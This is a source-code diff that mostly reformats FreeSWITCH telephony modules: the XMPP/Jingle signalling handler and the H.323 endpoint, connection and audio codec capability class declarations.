static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject, char *msg)
|
||||
static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject,
|
||||
char *msg)
|
||||
{
|
||||
mdl_profile_t *profile = NULL;
|
||||
switch_core_session_t *session = NULL;
|
||||
@@ -2730,7 +2734,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
|
||||
|
||||
case LDL_SIGNAL_SUBSCRIBE:
|
||||
if (profile->user_flags & LDL_FLAG_COMPONENT && ldl_jid_domcmp(from, to)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Attempt to add presence from/to our own domain [%s][%s]\n", from, to);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Attempt to add presence from/to our own domain [%s][%s]\n",
|
||||
from, to);
|
||||
} else {
|
||||
switch_mutex_lock(profile->mutex);
|
||||
if ((sql = switch_mprintf("delete from jabber_subscriptions where sub_from='%q' and sub_to='%q'", from, to))) {
|
||||
@@ -2839,9 +2844,9 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
|
||||
|
||||
switch (dl_signal) {
|
||||
case LDL_SIGNAL_MSG:{
|
||||
char *proto = MDL_CHAT_PROTO;
|
||||
char *pproto = NULL, *ffrom = NULL;
|
||||
char *hint;
|
||||
char *proto = MDL_CHAT_PROTO;
|
||||
char *pproto = NULL, *ffrom = NULL;
|
||||
char *hint;
|
||||
#ifdef AUTO_REPLY
|
||||
if (profile->auto_reply) {
|
||||
ldl_handle_send_msg(handle,
|
||||
@@ -2867,8 +2872,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
|
||||
}
|
||||
from = ffrom;
|
||||
}
|
||||
|
||||
if (strcasecmp(proto, MDL_CHAT_PROTO)) { /* yes no ! on purpose */
|
||||
|
||||
if (strcasecmp(proto, MDL_CHAT_PROTO)) { /* yes no ! on purpose */
|
||||
switch_core_chat_send(proto, MDL_CHAT_PROTO, from, to, subject, switch_str_nil(msg), NULL, hint);
|
||||
}
|
||||
|
||||
@@ -2920,7 +2925,7 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
|
||||
status = LDL_STATUS_FALSE;
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
} else {
|
||||
if (dl_signal != LDL_SIGNAL_INITIATE && !msg) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Session is already dead\n");
|
||||
@@ -3156,7 +3161,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
|
||||
unsigned int x, y;
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%u payloads\n", len);
|
||||
for (x = 0; x < len; x++) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Available Payload %s %u\n", payloads[x].name, payloads[x].id);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Available Payload %s %u\n", payloads[x].name,
|
||||
payloads[x].id);
|
||||
for (y = 0; y < tech_pvt->num_codecs; y++) {
|
||||
char *name = tech_pvt->codecs[y]->iananame;
|
||||
|
||||
@@ -3174,8 +3180,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
|
||||
|
||||
if (match && payloads[x].rate == tech_pvt->codecs[y]->samples_per_second) {
|
||||
tech_pvt->codec_index = y;
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Choosing Payload index %u %s %u\n", y, payloads[x].name,
|
||||
payloads[x].id);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Choosing Payload index %u %s %u\n", y,
|
||||
payloads[x].name, payloads[x].id);
|
||||
tech_pvt->codec_name = tech_pvt->codecs[y]->iananame;
|
||||
tech_pvt->codec_num = tech_pvt->codecs[y]->ianacode;
|
||||
tech_pvt->r_codec_num = (switch_payload_t) (payloads[x].id);
|
||||
@@ -3252,7 +3258,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
|
||||
lanaddr = strncasecmp(candidates[x].address, profile->lanaddr, strlen(profile->lanaddr)) ? 0 : 1;
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "candidates %s:%d\n", candidates[x].address, candidates[x].port);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "candidates %s:%d\n", candidates[x].address,
|
||||
candidates[x].port);
|
||||
|
||||
// 192.0.0.0 - 192.0.127.255 is marked as reserved, should we filter all of them?
|
||||
if (!strcasecmp(candidates[x].protocol, "udp") &&
|
||||
|
||||
@@ -54,10 +54,10 @@ typedef enum {
|
||||
} TFLAGS;
|
||||
|
||||
struct mod_h323_globals {
|
||||
int trace_level;
|
||||
char *codec_string;
|
||||
char *context;
|
||||
char *dialplan;
|
||||
int trace_level;
|
||||
char *codec_string;
|
||||
char *context;
|
||||
char *dialplan;
|
||||
};
|
||||
|
||||
extern struct mod_h323_globals mod_h323_globals;
|
||||
@@ -67,19 +67,19 @@ class FSH323_ExternalRTPChannel;
|
||||
|
||||
typedef struct {
|
||||
unsigned int flags;
|
||||
switch_timer_t read_timer;
|
||||
switch_codec_t read_codec;
|
||||
switch_codec_t write_codec;
|
||||
switch_timer_t read_timer;
|
||||
switch_codec_t read_codec;
|
||||
switch_codec_t write_codec;
|
||||
switch_frame_t read_frame;
|
||||
|
||||
switch_timer_t vid_read_timer;
|
||||
switch_codec_t vid_read_codec;
|
||||
switch_codec_t vid_write_codec;
|
||||
|
||||
switch_timer_t vid_read_timer;
|
||||
switch_codec_t vid_read_codec;
|
||||
switch_codec_t vid_write_codec;
|
||||
switch_rtp_t *rtp_session;
|
||||
switch_mutex_t *flag_mutex;
|
||||
switch_mutex_t *h323_mutex;
|
||||
|
||||
FSH323Connection *me;
|
||||
|
||||
FSH323Connection *me;
|
||||
} h323_private_t;
|
||||
|
||||
#define DECLARE_CALLBACK0(name) \
|
||||
@@ -101,161 +101,142 @@ switch_status_t name(type1 name1)
|
||||
switch_status_t name(type1 name1, type2 name2, type3 name3)
|
||||
|
||||
class FSH323EndPoint;
|
||||
class FSProcess : public PLibraryProcess {
|
||||
PCLASSINFO(FSProcess, PLibraryProcess);
|
||||
class FSProcess:public PLibraryProcess {
|
||||
PCLASSINFO(FSProcess, PLibraryProcess);
|
||||
|
||||
public:
|
||||
FSProcess();
|
||||
~FSProcess();
|
||||
public:
|
||||
FSProcess();
|
||||
~FSProcess();
|
||||
|
||||
bool Initialise(switch_loadable_module_interface_t *iface);
|
||||
bool Initialise(switch_loadable_module_interface_t *iface);
|
||||
|
||||
FSH323EndPoint & GetH323EndPoint() const { return *m_h323endpoint; }
|
||||
|
||||
protected:
|
||||
FSH323EndPoint * m_h323endpoint;
|
||||
FSH323EndPoint & GetH323EndPoint() const {
|
||||
return *m_h323endpoint;
|
||||
} protected:
|
||||
FSH323EndPoint * m_h323endpoint;
|
||||
};
|
||||
|
||||
struct FSListener {
|
||||
FSListener() {
|
||||
}
|
||||
|
||||
PString name;
|
||||
H323ListenerTCP *listenAddress;
|
||||
PString localUserName;
|
||||
PString gatekeeper;
|
||||
FSListener() {
|
||||
} PString name;
|
||||
H323ListenerTCP *listenAddress;
|
||||
PString localUserName;
|
||||
PString gatekeeper;
|
||||
};
|
||||
class FSGkRegThread;
|
||||
|
||||
class FSH323EndPoint:public H323EndPoint {
|
||||
|
||||
PCLASSINFO(FSH323EndPoint, H323EndPoint);
|
||||
public:
|
||||
FSH323EndPoint();
|
||||
~FSH323EndPoint();
|
||||
|
||||
|
||||
PCLASSINFO(FSH323EndPoint, H323EndPoint);
|
||||
public:
|
||||
FSH323EndPoint();
|
||||
~FSH323EndPoint();
|
||||
|
||||
|
||||
/**Create a connection that uses the specified call.
|
||||
*/
|
||||
virtual H323Connection* CreateConnection(
|
||||
unsigned callReference,
|
||||
void* userData,
|
||||
H323Transport* transport,
|
||||
H323SignalPDU* setupPDU
|
||||
);
|
||||
virtual H323Connection *CreateConnection(unsigned callReference, void *userData, H323Transport * transport, H323SignalPDU * setupPDU);
|
||||
virtual bool OnSetGatewayPrefixes(PStringList & prefixes) const;
|
||||
|
||||
|
||||
bool Initialise(switch_loadable_module_interface_t *iface);
|
||||
|
||||
switch_status_t ReadConfig(int reload);
|
||||
|
||||
void StartGkClient(int retry, PString* gkAddress,PString* gkIdentifer,PString* gkInterface);
|
||||
|
||||
switch_status_t ReadConfig(int reload);
|
||||
|
||||
void StartGkClient(int retry, PString * gkAddress, PString * gkIdentifer, PString * gkInterface);
|
||||
void StopGkClient();
|
||||
|
||||
|
||||
switch_endpoint_interface_t *GetSwitchInterface() const {
|
||||
return m_freeswitch;
|
||||
}
|
||||
FSH323Connection * FSMakeCall(const PString & dest,void *userData);
|
||||
list <FSListener> m_listeners;
|
||||
return m_freeswitch;
|
||||
} FSH323Connection *FSMakeCall(const PString & dest, void *userData);
|
||||
list < FSListener > m_listeners;
|
||||
int m_ai;
|
||||
int m_pi;
|
||||
protected:
|
||||
PStringList m_gkPrefixes;
|
||||
switch_endpoint_interface_t *m_freeswitch;
|
||||
PString m_gkAddress;
|
||||
PString m_gkIdentifer;
|
||||
PString m_gkInterface;
|
||||
bool m_faststart;
|
||||
bool m_h245tunneling;
|
||||
bool m_h245insetup;
|
||||
int m_gkretry;
|
||||
FSGkRegThread* m_thread;
|
||||
protected:
|
||||
PStringList m_gkPrefixes;
|
||||
switch_endpoint_interface_t *m_freeswitch;
|
||||
PString m_gkAddress;
|
||||
PString m_gkIdentifer;
|
||||
PString m_gkInterface;
|
||||
bool m_faststart;
|
||||
bool m_h245tunneling;
|
||||
bool m_h245insetup;
|
||||
int m_gkretry;
|
||||
FSGkRegThread *m_thread;
|
||||
};
|
||||
|
||||
|
||||
class FSGkRegThread : public PThread
|
||||
{
|
||||
PCLASSINFO(FSGkRegThread, PThread);
|
||||
public:
|
||||
FSGkRegThread(FSH323EndPoint* endpoint, PString* gkAddress, PString* gkIdentifer, PString* gkInterface, int retry = 0)
|
||||
: PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress),m_gkIdentifer(gkIdentifer),m_gkInterface(gkInterface)
|
||||
{ }
|
||||
void Main()
|
||||
{ m_ep->StartGkClient(m_retry,m_gkAddress,m_gkIdentifer,m_gkInterface); }
|
||||
protected:
|
||||
FSH323EndPoint* m_ep;
|
||||
int m_retry;
|
||||
PString* m_gkAddress;
|
||||
PString* m_gkIdentifer;
|
||||
PString* m_gkInterface;
|
||||
class FSGkRegThread:public PThread {
|
||||
PCLASSINFO(FSGkRegThread, PThread);
|
||||
public:
|
||||
FSGkRegThread(FSH323EndPoint * endpoint, PString * gkAddress, PString * gkIdentifer, PString * gkInterface, int retry = 0)
|
||||
: PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress), m_gkIdentifer(gkIdentifer), m_gkInterface(gkInterface) {
|
||||
} void Main() {
|
||||
m_ep->StartGkClient(m_retry, m_gkAddress, m_gkIdentifer, m_gkInterface);
|
||||
}
|
||||
protected:
|
||||
FSH323EndPoint * m_ep;
|
||||
int m_retry;
|
||||
PString *m_gkAddress;
|
||||
PString *m_gkIdentifer;
|
||||
PString *m_gkInterface;
|
||||
};
|
||||
|
||||
|
||||
class FSH323Connection:public H323Connection {
|
||||
PCLASSINFO(FSH323Connection, H323Connection)
|
||||
PCLASSINFO(FSH323Connection, H323Connection)
|
||||
|
||||
public:
|
||||
FSH323Connection(FSH323EndPoint& endpoint,
|
||||
H323Transport* transport,
|
||||
unsigned callReference,
|
||||
switch_caller_profile_t *outbound_profile,
|
||||
switch_core_session_t *fsSession,
|
||||
switch_channel_t *fsChannel);
|
||||
FSH323Connection(FSH323EndPoint & endpoint,
|
||||
H323Transport * transport,
|
||||
unsigned callReference, switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
|
||||
|
||||
~FSH323Connection();
|
||||
~FSH323Connection();
|
||||
|
||||
virtual H323Channel* CreateRealTimeLogicalChannel(
|
||||
const H323Capability& capability,
|
||||
H323Channel::Directions dir,
|
||||
unsigned sessionID,
|
||||
const H245_H2250LogicalChannelParameters* param,
|
||||
RTP_QOS * rtpqos = NULL
|
||||
);
|
||||
virtual PBoolean OnStartLogicalChannel(H323Channel& channel);
|
||||
virtual PBoolean OnCreateLogicalChannel(const H323Capability& capability, H323Channel::Directions dir, unsigned& errorCode);
|
||||
virtual bool OnReceivedSignalSetup(const H323SignalPDU & setupPDU);
|
||||
virtual bool OnReceivedCallProceeding(const H323SignalPDU & pdu);
|
||||
virtual H323Channel *CreateRealTimeLogicalChannel(const H323Capability & capability,
|
||||
H323Channel::Directions dir,
|
||||
unsigned sessionID, const H245_H2250LogicalChannelParameters * param, RTP_QOS * rtpqos = NULL);
|
||||
virtual PBoolean OnStartLogicalChannel(H323Channel & channel);
|
||||
virtual PBoolean OnCreateLogicalChannel(const H323Capability & capability, H323Channel::Directions dir, unsigned &errorCode);
|
||||
virtual bool OnReceivedSignalSetup(const H323SignalPDU & setupPDU);
|
||||
virtual bool OnReceivedCallProceeding(const H323SignalPDU & pdu);
|
||||
virtual void OnReceivedReleaseComplete(const H323SignalPDU & pdu);
|
||||
virtual bool OnReceivedProgress(const H323SignalPDU &);
|
||||
virtual bool OnReceivedProgress(const H323SignalPDU &);
|
||||
virtual bool OnSendCallProceeding(H323SignalPDU & callProceedingPDU);
|
||||
virtual bool OnSendReleaseComplete(H323SignalPDU & pdu);
|
||||
virtual PBoolean OpenLogicalChannel(const H323Capability& capability, unsigned sessionID, H323Channel::Directions dir);
|
||||
void setRemoteAddress(const char* remoteIP, WORD remotePort);
|
||||
virtual PBoolean OpenLogicalChannel(const H323Capability & capability, unsigned sessionID, H323Channel::Directions dir);
|
||||
void setRemoteAddress(const char *remoteIP, WORD remotePort);
|
||||
virtual void OnSetLocalCapabilities();
|
||||
virtual bool OnAlerting(const H323SignalPDU &alertingPDU, const PString &user);
|
||||
virtual bool OnAlerting(const H323SignalPDU & alertingPDU, const PString & user);
|
||||
virtual void AnsweringCall(AnswerCallResponse response);
|
||||
virtual void OnEstablished();
|
||||
bool SetLocalCapabilities();
|
||||
static bool decodeCapability(const H323Capability& capability, const char** dataFormat, int* payload = 0, PString* capabName = 0);
|
||||
virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString& caller,
|
||||
const H323SignalPDU& signalPDU, H323SignalPDU& connectPDU);
|
||||
static bool decodeCapability(const H323Capability & capability, const char **dataFormat, int *payload = 0, PString * capabName = 0);
|
||||
virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString & caller, const H323SignalPDU & signalPDU, H323SignalPDU & connectPDU);
|
||||
virtual bool OnReceivedCapabilitySet(const H323Capabilities & remoteCaps,
|
||||
const H245_MultiplexCapability * muxCap,
|
||||
H245_TerminalCapabilitySetReject & reject);
|
||||
const H245_MultiplexCapability * muxCap, H245_TerminalCapabilitySetReject & reject);
|
||||
switch_core_session_t *GetSession() const {
|
||||
return m_fsSession;
|
||||
}
|
||||
virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
|
||||
return m_fsSession;
|
||||
} virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
|
||||
virtual void OnUserInputTone(char, unsigned, unsigned, unsigned);
|
||||
virtual void OnUserInputString(const PString &value);
|
||||
DECLARE_CALLBACK0(on_init);
|
||||
DECLARE_CALLBACK0(on_routing);
|
||||
DECLARE_CALLBACK0(on_execute);
|
||||
virtual void OnUserInputString(const PString & value);
|
||||
DECLARE_CALLBACK0(on_init);
|
||||
DECLARE_CALLBACK0(on_routing);
|
||||
DECLARE_CALLBACK0(on_execute);
|
||||
|
||||
DECLARE_CALLBACK0(on_exchange_media);
|
||||
DECLARE_CALLBACK0(on_soft_execute);
|
||||
DECLARE_CALLBACK0(on_exchange_media);
|
||||
DECLARE_CALLBACK0(on_soft_execute);
|
||||
|
||||
DECLARE_CALLBACK1(kill_channel, int, sig);
|
||||
DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
|
||||
DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
|
||||
DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
|
||||
DECLARE_CALLBACK0(state_change);
|
||||
DECLARE_CALLBACK1(kill_channel, int, sig);
|
||||
DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
|
||||
DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
|
||||
DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
|
||||
DECLARE_CALLBACK0(state_change);
|
||||
|
||||
DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
|
||||
DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
|
||||
DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
|
||||
DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
|
||||
|
||||
DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
|
||||
DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
|
||||
DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
|
||||
DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
|
||||
|
||||
bool m_callOnPreAnswer;
|
||||
bool m_startRTP;
|
||||
bool m_rxChennel;
|
||||
@@ -263,44 +244,38 @@ class FSH323Connection:public H323Connection {
|
||||
bool m_ChennelAnswer;
|
||||
bool m_ChennelProgress;
|
||||
PSyncPoint m_rxAudioOpened;
|
||||
PSyncPoint m_txAudioOpened;
|
||||
PSyncPoint m_txAudioOpened;
|
||||
protected:
|
||||
FSH323EndPoint * m_endpoint;
|
||||
FSH323EndPoint * m_endpoint;
|
||||
PString m_remoteAddr;
|
||||
int m_remotePort;
|
||||
int m_remotePort;
|
||||
switch_core_session_t *m_fsSession;
|
||||
switch_channel_t *m_fsChannel;
|
||||
PIPSocket::Address m_RTPlocalIP;
|
||||
switch_channel_t *m_fsChannel;
|
||||
PIPSocket::Address m_RTPlocalIP;
|
||||
WORD m_RTPlocalPort;
|
||||
unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
|
||||
};
|
||||
|
||||
|
||||
class FSH323_ExternalRTPChannel : public H323_ExternalRTPChannel{
|
||||
PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
|
||||
public:
|
||||
/* Create a new channel. */
|
||||
FSH323_ExternalRTPChannel(
|
||||
FSH323Connection& connection,
|
||||
const H323Capability& capability,
|
||||
Directions direction,
|
||||
unsigned sessionID,
|
||||
const PIPSocket::Address& ip,
|
||||
WORD dataPort
|
||||
);
|
||||
/* Destructor */
|
||||
~FSH323_ExternalRTPChannel();
|
||||
class FSH323_ExternalRTPChannel:public H323_ExternalRTPChannel {
|
||||
PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
|
||||
public:
|
||||
/* Create a new channel. */
|
||||
FSH323_ExternalRTPChannel(FSH323Connection & connection,
|
||||
const H323Capability & capability, Directions direction, unsigned sessionID, const PIPSocket::Address & ip, WORD dataPort);
|
||||
/* Destructor */
|
||||
~FSH323_ExternalRTPChannel();
|
||||
|
||||
virtual PBoolean Start();
|
||||
virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters& param);
|
||||
virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters& param);
|
||||
virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters& param,unsigned& errorCode);
|
||||
virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters& param);
|
||||
|
||||
virtual PBoolean Start();
|
||||
virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters & param);
|
||||
virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters & param);
|
||||
virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters & param, unsigned &errorCode);
|
||||
virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters & param);
|
||||
|
||||
private:
|
||||
FSH323Connection* m_conn;
|
||||
const H323Capability* m_capability;
|
||||
|
||||
private:
|
||||
FSH323Connection * m_conn;
|
||||
const H323Capability *m_capability;
|
||||
switch_core_session_t *m_fsSession;
|
||||
switch_channel_t *m_fsChannel;
|
||||
switch_codec_t *m_switchCodec;
|
||||
@@ -312,124 +287,95 @@ private:
|
||||
PString m_RTPlocalIP;
|
||||
WORD m_RTPlocalPort;
|
||||
BYTE payloadCode;
|
||||
|
||||
|
||||
};
|
||||
|
||||
class BaseG7231Capab : public H323AudioCapability
|
||||
{
|
||||
PCLASSINFO(BaseG7231Capab, H323AudioCapability);
|
||||
public:
|
||||
BaseG7231Capab(const char* fname, bool annexA = true)
|
||||
: H323AudioCapability(7,4), m_name(fname), m_aa(annexA)
|
||||
{ }
|
||||
|
||||
virtual PObject* Clone() const{
|
||||
return new BaseG7231Capab(*this);
|
||||
}
|
||||
|
||||
virtual unsigned GetSubType() const{
|
||||
return H245_AudioCapability::e_g7231;
|
||||
}
|
||||
|
||||
virtual PString GetFormatName() const{
|
||||
return m_name;
|
||||
}
|
||||
|
||||
virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
|
||||
return 0;
|
||||
}
|
||||
|
||||
virtual Comparison Compare(const PObject& obj) const{
|
||||
Comparison res = H323AudioCapability::Compare(obj);
|
||||
if (res != EqualTo)
|
||||
return res;
|
||||
bool aa = static_cast<const BaseG7231Capab&>(obj).m_aa;
|
||||
if (aa && !m_aa)
|
||||
return LessThan;
|
||||
if (m_aa && !aa)
|
||||
return GreaterThan;
|
||||
return EqualTo;
|
||||
}
|
||||
|
||||
virtual bool OnSendingPDU(H245_AudioCapability& pdu, unsigned packetSize) const {
|
||||
pdu.SetTag(GetSubType());
|
||||
H245_AudioCapability_g7231& g7231 = pdu;
|
||||
g7231.m_maxAl_sduAudioFrames = packetSize;
|
||||
g7231.m_silenceSuppression = m_aa;
|
||||
return true;
|
||||
}
|
||||
|
||||
virtual bool OnReceivedPDU(const H245_AudioCapability& pdu, unsigned& packetSize){
|
||||
if (pdu.GetTag() != H245_AudioCapability::e_g7231)
|
||||
class BaseG7231Capab:public H323AudioCapability {
|
||||
PCLASSINFO(BaseG7231Capab, H323AudioCapability);
|
||||
public:
|
||||
BaseG7231Capab(const char *fname, bool annexA = true)
|
||||
: H323AudioCapability(7, 4), m_name(fname), m_aa(annexA) {
|
||||
} virtual PObject *Clone() const {
|
||||
return new BaseG7231Capab(*this);
|
||||
} virtual unsigned GetSubType() const {
|
||||
return H245_AudioCapability::e_g7231;
|
||||
} virtual PString GetFormatName() const {
|
||||
return m_name;
|
||||
} virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
|
||||
return 0;
|
||||
} virtual Comparison Compare(const PObject & obj) const {
|
||||
Comparison res = H323AudioCapability::Compare(obj);
|
||||
if (res != EqualTo)
|
||||
return res;
|
||||
bool aa = static_cast < const BaseG7231Capab & >(obj).m_aa;
|
||||
if (aa && !m_aa)
|
||||
return LessThan;
|
||||
if (m_aa && !aa)
|
||||
return GreaterThan;
|
||||
return EqualTo;
|
||||
} virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const {
|
||||
pdu.SetTag(GetSubType());
|
||||
H245_AudioCapability_g7231 & g7231 = pdu;
|
||||
g7231.m_maxAl_sduAudioFrames = packetSize;
|
||||
g7231.m_silenceSuppression = m_aa;
|
||||
return true;
|
||||
} virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned &packetSize) {
|
||||
if (pdu.GetTag() != H245_AudioCapability::e_g7231)
|
||||
return false;
|
||||
const H245_AudioCapability_g7231& g7231 = pdu;
|
||||
packetSize = g7231.m_maxAl_sduAudioFrames;
|
||||
m_aa = (g7231.m_silenceSuppression != 0);
|
||||
return true;
|
||||
const H245_AudioCapability_g7231 & g7231 = pdu;
|
||||
packetSize = g7231.m_maxAl_sduAudioFrames;
|
||||
m_aa = (g7231.m_silenceSuppression != 0);
|
||||
return true;
|
||||
}
|
||||
|
||||
protected:
|
||||
const char* m_name;
|
||||
bool m_aa;
|
||||
protected:
|
||||
const char *m_name;
|
||||
bool m_aa;
|
||||
};
|
||||
|
||||
class BaseG729Capab : public H323AudioCapability
|
||||
{
|
||||
PCLASSINFO(BaseG729Capab, H323AudioCapability);
|
||||
public:
|
||||
BaseG729Capab(const char* fname, unsigned type = H245_AudioCapability::e_g729)
|
||||
: H323AudioCapability(24,6), m_name(fname), m_type(type)
|
||||
{ }
|
||||
virtual PObject* Clone() const
|
||||
// default copy constructor - take care!
|
||||
{ return new BaseG729Capab(*this); }
|
||||
virtual unsigned GetSubType() const
|
||||
{ return m_type; }
|
||||
virtual PString GetFormatName() const
|
||||
{ return m_name; }
|
||||
virtual H323Codec* CreateCodec(H323Codec::Direction direction) const
|
||||
{ return 0; }
|
||||
protected:
|
||||
const char* m_name;
|
||||
unsigned m_type;
|
||||
class BaseG729Capab:public H323AudioCapability {
|
||||
PCLASSINFO(BaseG729Capab, H323AudioCapability);
|
||||
public:
|
||||
BaseG729Capab(const char *fname, unsigned type = H245_AudioCapability::e_g729)
|
||||
: H323AudioCapability(24, 6), m_name(fname), m_type(type) {
|
||||
} virtual PObject *Clone() const
|
||||
// default copy constructor - take care!
|
||||
{
|
||||
return new BaseG729Capab(*this);
|
||||
} virtual unsigned GetSubType() const {
|
||||
return m_type;
|
||||
} virtual PString GetFormatName() const {
|
||||
return m_name;
|
||||
} virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
|
||||
return 0;
|
||||
} protected:
|
||||
const char *m_name;
|
||||
unsigned m_type;
|
||||
};
|
||||
|
||||
class BaseGSM0610Cap : public H323AudioCapability
|
||||
{
|
||||
class BaseGSM0610Cap:public H323AudioCapability {
|
||||
PCLASSINFO(BaseGSM0610Cap, H323AudioCapability);
|
||||
|
||||
public:
|
||||
|
||||
BaseGSM0610Cap(const char* fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
|
||||
: H323AudioCapability(24,2), m_name(fname), m_type(type),m_comfortNoise(0),m_scrambled(0)
|
||||
{ }
|
||||
|
||||
virtual PObject * Clone() const{
|
||||
public:
|
||||
|
||||
BaseGSM0610Cap(const char *fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
|
||||
: H323AudioCapability(24, 2), m_name(fname), m_type(type), m_comfortNoise(0), m_scrambled(0) {
|
||||
} virtual PObject *Clone() const {
|
||||
return new BaseGSM0610Cap(*this);
|
||||
}
|
||||
|
||||
virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
|
||||
} virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
|
||||
return 0;
|
||||
}
|
||||
|
||||
virtual unsigned GetSubType() const{
|
||||
} virtual unsigned GetSubType() const {
|
||||
return H245_AudioCapability::e_gsmFullRate;
|
||||
}
|
||||
|
||||
virtual PString GetFormatName() const{
|
||||
} virtual PString GetFormatName() const {
|
||||
return m_name;
|
||||
}
|
||||
|
||||
virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const{
|
||||
} virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const {
|
||||
pdu.SetTag(H245_AudioCapability::e_gsmFullRate);
|
||||
H245_GSMAudioCapability & gsm = pdu;
|
||||
gsm.m_audioUnitSize = packetSize * 33;
|
||||
gsm.m_comfortNoise = m_comfortNoise;
|
||||
gsm.m_scrambled = m_scrambled;
|
||||
return true;
|
||||
}
|
||||
|
||||
virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned & packetSize){
|
||||
} virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned &packetSize) {
|
||||
PTRACE(2, "mod_h323\t==============>BaseGSM0610Cap::OnReceivedPDU");
|
||||
if (pdu.GetTag() != H245_AudioCapability::e_gsmFullRate)
|
||||
return false;
|
||||
@@ -440,8 +386,8 @@ public:
|
||||
return true;
|
||||
}
|
||||
|
||||
protected:
|
||||
const char* m_name;
|
||||
protected:
|
||||
const char *m_name;
|
||||
int m_comfortNoise;
|
||||
int m_scrambled;
|
||||
unsigned m_type;
|
||||
@@ -458,15 +404,15 @@ H323_REGISTER_CAPABILITY(cls,name) \
|
||||
|
||||
|
||||
|
||||
DEFINE_H323_CAPAB(FS_G7231_5,BaseG7231Capab,false,OPAL_G7231_5k3"{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G7231_6,BaseG7231Capab,false,OPAL_G7231_6k3"{sw}")
|
||||
DEFINE_H323_CAPAB(FS_G7231A_5,BaseG7231Capab,true,OPAL_G7231A_5k3"{sw}")
|
||||
